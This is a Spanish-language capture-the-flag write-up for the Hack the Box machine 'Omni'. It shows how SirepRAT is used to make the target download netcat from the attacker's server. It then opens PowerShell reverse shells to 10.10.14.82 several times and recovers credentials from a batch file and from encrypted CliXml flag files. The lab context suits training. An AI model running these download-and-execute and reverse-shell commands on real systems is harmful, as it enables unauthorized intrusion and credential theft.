En este writeup vamos a ver cómo resolver la máquina Omni de la plataforma de Hack the Box.
Conexión
Conectar nuestra máquina de ataque a la VPN:
$ openvpn gorkamu-htb.ovpn
Capturar User Flag
Empezamos haciendo un escaner con nmap para detectar puertos y versiones.
Esto nos saca dos puertos.
El puerto 135 el cual se corresponde al servicio de RPC y el puerto 8080 que se corresponde con el servicio Universal Plug and Play (UPNP)
Si navegamos a la dirección http://10.10.10.204:8080 se nos muestra una ventana de autentificación.
Descargamos este script https://github.com/SafeBreach-Labs/SirepRAT e instalamos sus dependencias (hexdump) con la siguiente línea
pip install -r requirements.txt
También tenemos que descargar el binario de 64bits para Windows de Netcat desde este enlace https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip y levantar un servidor desde donde hayamos descomprimido el archivo, para ello:
python -m SimpleHTTPServer
Una vez hecho esto ejecutamos la siguiente línea:
python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c powershell Invoke-Webrequest -OutFile C:\\Windows\\System32\\spool\\drivers\\color\\nc64.exe -Uri http://10.10.14.82:8000/nc64.exe" --v
Esto hace que podamos invocar powershell en la máquina atacada y descargar Netcat en ella.
Si vemos los logs del servidor (nuesto) desde el que se descargará netcat, podemos ver la IP de la máquina vulnerable descargando el fichero nc64.exe:
En una nueva terminal levantamos nuestro Netcat por el puerto 1234
nc -nlvp 1234
En otra terminal ejecutamos la siguiente línea:
python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c C:\\Windows\\System32\\spool\\drivers\\color\\nc64.exe 10.10.14.82 1234 -e powershell.exe" --v
Con esto habremos conseguido una shell reversa desde la máquina windows.
Desde la shell reversa de Windows ejecutamos las siguientes líneas:
cd "c:\Program Files\WindowsPowershell\Modules\PackageManagement"ls -force
En este directorio veremos un fichero llamado r.bat, si hacemos un cat de él encontraremos dos credenciales.
Si volvemos al navegador y accedemos a la dirección http://10.10.10.204:8080 ya podremos loguearnos con cualquiera de estas dos cuentas y nos llevará a un panel de administración
Abrimos una nueva terminal y lanzamos una nueva conexión netcat en un puerto diferente al previo.
Por otro lado, en el panel de administración de Windows nos dirigimos a Processes > Run command para intentar ejecutar otra shell reversa.
Para ello en el input de comandos ejecutamos la siguiente línea:
C:\Windows\System32\spool\drivers\color\nc64.exe 10.10.14.82 4444 -e powershell.exe
Y automáticamente veremos como en nuestro netcat se nos habrá abierto una nueva sesión reversa.
Para conseguir la USER Flag tenemos que ejecutar las siguientes líneas:
$credential = Import-CliXml -Path U:\Users\app\user.txt
$credential.GetNetworkCredential().Password
Finalmente esto nos dará lo que buscamos.
Capturar la Root Flag
Para capturar la ROOT Flag tenemos que hacer el mismo proceso pero con el otro usuario que aparecía en el fichero r.bat
Para ello cerramos firefox y volvemos a logearnos con el usuario administrador.
Nos dirigimos a Processes > Run Command y volvemos a lanzar la conexión reversa:
C:\Windows\System32\spool\drivers\color\nc64.exe 10.10.14.82 4444 -e powershell.exe
Una vez hecho lanzamos los siguientes comandos en nuestra sesión netcat:
$credential = Import-CliXml -Path U:\Users\administrator\root.txt
$credential.GetNetworkCredential().Password